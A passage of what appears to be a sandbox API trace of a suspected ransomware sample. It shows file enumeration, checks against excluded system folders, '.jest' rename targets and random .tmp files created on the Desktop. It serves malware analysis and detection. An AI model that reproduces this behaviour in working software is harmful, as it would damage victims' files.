lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", lpFilePart=0x18e708*="xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp") returned 0x8f [0121.136] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFilePart=0x18e708*="web.xml") returned 0x48 [0121.136] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", lpUsedDefaultChar=0x0) returned 106 [0121.137] GetFullPathNameA (in: lpFileName="xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", lpFilePart=0x18e6e4*="xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp") returned 0x8f [0121.137] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77416678, cFileName="lEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.137] GetLastError () returned 0x2 [0121.137] GetLastError () returned 0x2 [0121.137] SetLastError (dwErrCode=0x2) [0121.137] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.137] lstrcpynW (in: lpString1=0x14cf144, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_auxbase.xml_2edbfe7c", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_auxbase.xml_2edbfe7c") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_auxbase.xml_2edbfe7c" [0121.138] lstrcpynW (in: lpString1=0x14da79c, lpString2="auxbase.xml", iMaxLength=12 | out: lpString1="auxbase.xml") returned="auxbase.xml" [0121.138] lstrcpynW (in: lpString1=0x145efdc, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", iMaxLength=70 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" [0121.138] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 0x54 [0121.138] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.138] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 0x54 [0121.138] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.138] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 0x54 [0121.139] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 0x54 [0121.139] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 0x54 [0121.139] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 0x54 [0121.139] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.139] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.139] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.139] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.140] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.140] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.140] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFilePart=0x18e870*="auxbase.xml") returned 0x53 [0121.142] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.jest", lpFilePart=0x18e870*="auxbase.xml.jest") returned 0x58 [0121.144] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFilePart=0x18e6d8*="auxbase.xml") returned 0x53 [0121.144] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x5c, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0x143ce48 [0121.145] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.145] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFilePart=0x18e780*="auxbase.xml") returned 0x53 [0121.145] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.146] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFilePart=0x18e780*="auxbase.xml") returned 0x53 [0121.146] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.146] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x331)) [0121.146] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.146] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x331)) [0121.146] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x331)) [0121.146] GetUserDefaultLCID () returned 0x409 [0121.147] VarBstrFromR4 (in: fltIn=0x479442e9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.82") returned 0x0 [0121.147] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFilePart=0x18e780*="auxbase.xml") returned 0x53 [0121.147] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.148] GetCurrentProcessId () returned 0x9e0 [0121.149] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.149] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.150] GetFullPathNameA (in: lpFileName="ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", lpFilePart=0x18e708*="ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp") returned 0x8f [0121.150] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFilePart=0x18e708*="auxbase.xml") returned 0x53 [0121.150] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", lpUsedDefaultChar=0x0) returned 106 [0121.151] GetFullPathNameA (in: lpFileName="ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", lpFilePart=0x18e6e4*="ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp") returned 0x8f [0121.151] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ldd8Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3864646c, cFileName="Bp5kyUMuDLmBg_hfzGkqHq FadFJTnu 7qG46dtXXlk61yhQ7rt9Tux7gdp1EyFDOTklstzHGghzVoJAse86r3b 95lEit5ez.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.151] GetLastError () returned 0x2 [0121.151] GetLastError () returned 0x2 [0121.151] SetLastError (dwErrCode=0x2) [0121.151] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.152] lstrcpynW (in: lpString1=0x14cf144, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ea.xml_fed3b08d", iMaxLength=116 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ea.xml_fed3b08d") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ea.xml_fed3b08d" [0121.152] lstrcpynW (in: lpString1=0x14da79c, lpString2="ea.xmlĸ", iMaxLength=7 | out: lpString1="ea.xml") returned="ea.xml" [0121.153] lstrcpynW (in: lpString1=0x146907c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", iMaxLength=70 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" [0121.153] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 0x4f [0121.153] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.153] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 0x4f [0121.153] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.153] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 0x4f [0121.153] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.153] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 0x4f [0121.154] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.154] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 0x4f [0121.154] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.154] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 0x4f [0121.154] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.154] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.154] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.154] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.154] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.154] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.154] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFilePart=0x18e870*="ea.xml") returned 0x4e [0121.156] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.jest", lpFilePart=0x18e870*="ea.xml.jest") returned 0x53 [0121.158] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFilePart=0x18e6d8*="ea.xml") returned 0x4e [0121.158] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x5c, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 0x143ce48 [0121.158] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.159] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFilePart=0x18e780*="ea.xml") returned 0x4e [0121.160] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.160] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFilePart=0x18e780*="ea.xml") returned 0x4e [0121.160] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.161] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x341)) [0121.161] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.161] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x341)) [0121.161] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x341)) [0121.161] GetUserDefaultLCID () returned 0x409 [0121.161] VarBstrFromR4 (in: fltIn=0x479442eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.84") returned 0x0 [0121.161] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFilePart=0x18e780*="ea.xml") returned 0x4e [0121.162] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.162] GetCurrentProcessId () returned 0x9e0 [0121.162] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.162] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.163] GetFullPathNameA (in: lpFileName="wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", lpFilePart=0x18e708*="wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp") returned 0x8c [0121.163] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFilePart=0x18e708*="ea.xml") returned 0x4e [0121.164] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wu7EXx22F-5fV9L_O6DkhKDcIVeu 8bxLAsjU s7kvkMwrisWbUaH1HC0g4MOfjQJkflcZGNaqfcmwLoWsv2Ukbcu-XjiPhXsU.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 